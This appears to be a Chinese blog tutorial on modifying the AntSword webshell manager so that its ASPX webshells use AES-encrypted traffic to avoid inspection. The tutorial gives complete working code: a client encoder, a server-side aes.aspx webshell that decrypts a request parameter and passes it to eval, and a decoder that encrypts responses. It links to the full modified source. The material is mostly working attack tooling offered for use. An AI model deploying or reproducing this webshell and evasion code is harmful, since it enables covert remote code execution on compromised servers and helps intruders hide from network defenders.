0x00 前言
蚁剑优美的客户端界面一直非常吸引人,以至于总可以把它的一些缺点忽略。但发展到2021年了,人们对流量隐私有了更高的要求,包括黑客们。看着蚁剑的对手:冰蝎、哥斯拉都拥有了加密的通信流量,而蚁剑迟迟未出。
作为蚁剑的爱好者,怎么能看着它落后呢。于是乎,今天我们就来给蚁剑ASPX/ASPX类型的Webshell套上加密。为什么单单是ASPX/ASP呢?因为JSP类型的有 yzddmr6 师傅修改了,而PHP的后面再说。
0x01 分析
修改之前,我们可以先看看冰蝎对加密ASPX的实现,冰蝎ASPX的实现和JSP的实现很相似,都是通过加载编译好的字节码,创建对象实例,然后调用equals方法,传入context上下文。这种方法非常好,避免了ASPX利用常规的eval进行命令执行。
前面我们说到,yzddmr6 师傅通过参考冰蝎JSP的实现,成功的用加载字节码的方式,为蚁剑实现了一句话,虽然还缺少加密这个选项,但已经成功踏出一大步。观察蚁剑的编码器文件夹:source/core
,我们可以发现,一开始是没有JSP目录的,所以我们可以自定义下列文件的内容,而不会影响已经存在的的编码器:
但是当我们打开ASPX文件夹时,发现已经存在一些编码器,这样就导致了一个问题:我们如果按照冰蝎的做法,加载字节码,就会修改template
目录下的payload,势必会导致其他的编码器不兼容,而且可能会影响到已经存在的插件。所以我们还剩两种方法:
直接造一个ASPX_AES目录,如同JSP一般,但是这样会大范围修改源码,不符合我们简洁的宗旨
就在原来ASPX目录上修改,但不影响其他编码器和解码器,注意这的解码器是坑点所在
0x02 AES加密的编码器实现
在crypto-js库的帮助下,我们很快就实现AES_CBC_128_ZeroPadding
加密的编码器
第一步:编写编码器
aspx_aes_128_cbc_en.js
:
'use strict';const path = require('path');var CryptoJS = require(path.join(window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'));function randomRange(min, max){ var returnStr = "",
range = (max ? Math.round(Math.random() * (max-min)) + min : min),
charStr = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; for(var i=0; i<range; i++){ var index = Math.round(Math.random() * (charStr.length-1));
returnStr += charStr.substring(index,index+1);
} return returnStr;
}// AES return base64 type of encodedtextfunction encryptTextByAes(keyStr, text){ let encodedtext = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(keyStr), { iv: CryptoJS.enc.Utf8.parse(keyStr), mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding,
}).toString() return encodedtext;
}module.exports = (pwd, data, ext={}) => { let min = 16; let max = 16; let aesKey = randomRange(min, max);
data[pwd] = Buffer.from(aesKey).toString("base64") + encryptTextByAes(aesKey, data['_']); delete data['_']; return data;
}
第二步:编写服务端脚本
对应的aes.aspx:
<%@ Page Language="Jscript"%>
<%
var utf8 = new ActiveXObject("System.Text.UTF8Encoding");
var b64Enc = new ActiveXObject("System.Security.Cryptography.ToBase64Transform");
var b64Dec = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
var aes = new ActiveXObject("System.Security.Cryptography.RijndaelManaged");
aes.Padding = 3;
aes.KeySize = 128;
function B64Decode(b64Str){
var bytes = utf8.GetBytes(b64Str);
var decoded_bytes = b64Dec.TransformFinalBlock((bytes), 0, bytes.length);
return decoded_bytes;
}
function Decrypt(cipherText, aesKey){
var aesKeyBytes = utf8.GetBytes(aesKey);
aes.IV = aesKeyBytes;
var cipherBytes = B64Decode(cipherText);
var aesDec = aes.CreateDecryptor((aesKeyBytes), (aes.IV));
var plainBytes = aesDec.TransformFinalBlock(cipherBytes, 0, cipherBytes.length);
var res = utf8.GetString(plainBytes);
return res;
}
var data = Request.Item["ant"];
var aesKey = data.substring(0,24);
aesKey = utf8.GetString(B64Decode(aesKey));
var encrypt_res = data.substring(24);
var decrypted = Decrypt(encrypt_res, aesKey);
eval(decrypted,"unsafe");
%>
第三步选择aes编码器:
第四步挂上burp:
加密效果很不错,就是有两个瑕疵:
不是所有的参数都加密了,比如上图中左边这个怪米日眼的参数
返回内容没加密啊,这不把腚漏出来了吗?
0x03 解码器实现
带着0x02留下的两个鬼一样的问题,我们先看看PHP的base64解码器实现source/core/php/decoder/base64.js
:
这个asoutput函数好像可以拿来用用,我们可以看看其被调用的地方source/core/php/index.js
:
噢噢,asoutput的代码会被拼接到payload,供服务端执行完后输出的编码,至此,好像解决了问题2?
不,他X的PHP有可以获取缓冲区内容的ob_xxx函数,但是ASPX/ASP呢?就他X的一个拦都拦不住的:Response.Write()
????
ASPX太气人了,看看原来的解码器有没有什么办法source/core/aspx/decoder/default.js
:
好家伙,我直接好家伙!直接asoutput返回空。没办法,为了实现把腚遮住的理想,我们继续看看template
目录下payload是如何输出结果的:
多次利用Response.Write()
进行输出,既然是多次输出,那我将所有的输出都放在一个变量里面,然后将变量通过加密函数进行加密,最后再调用Response.Write()
,好像就可以了!
第一步:
添加解码器aspx_aes_128_cbc_de.js
:
'use strict';const path = require('path');var CryptoJS = require(path.join(window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'));function decryptText(keyStr, text) { let decodedtext = CryptoJS.AES.decrypt(text, CryptoJS.enc.Utf8.parse(keyStr), { iv: CryptoJS.enc.Utf8.parse(keyStr), mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding
}).toString(CryptoJS.enc.Utf8); return decodedtext;
}module.exports = { asoutput: () => { return `
function B64Encode(bytes){
return System.Convert.ToBase64String(bytes);
}
function Encrypt(plaintext, aesKey){
var aesKeyBytes = utf8.GetBytes(aesKey);
var aesEnc = aes.CreateEncryptor(aesKeyBytes, aes.IV);
var plainBytes = utf8.GetBytes(plaintext);
var cipherBytes = aesEnc.TransformFinalBlock(plainBytes, 0, plainBytes.length);
var res = B64Encode(cipherBytes);
return res;
}
function asenc(opcode){
var ak = aesKey;
return ak + Encrypt(opcode, ak);
}
`.replace(/\n\s+/g, '');
}, decode_buff: (data, ext={}) => {
data = data.toString(); try{ let aesKey = data.substring(0, 16); return Buffer.from(decryptText(aesKey, data.substring(16)));
} catch(e){ return data;
}
}
}
第二步:
修改source/core/aspx/index.js
:
第三步:
修改template目录下的payload
,顺便把多余的参数放在payload里面:
第四步:
打开burp看一下:
舒服!!!
但这里要吐槽一下:JS库fake-user-agent的User-Agent太老了,很容易别识别,比如上图中的:Chrome/41
最后ASPX的源码,直接替换ASPX文件夹就可以:https://github.com/youncyb/AS_ASPX_AES_ENCODE
打赏支付宝微信扫一扫,打赏作者吧~
本文链接:https://www.kinber.cn/post/4448.html 转载需授权!
推荐本站淘宝优惠价购买喜欢的宝贝:
您阅读本篇文章共花了: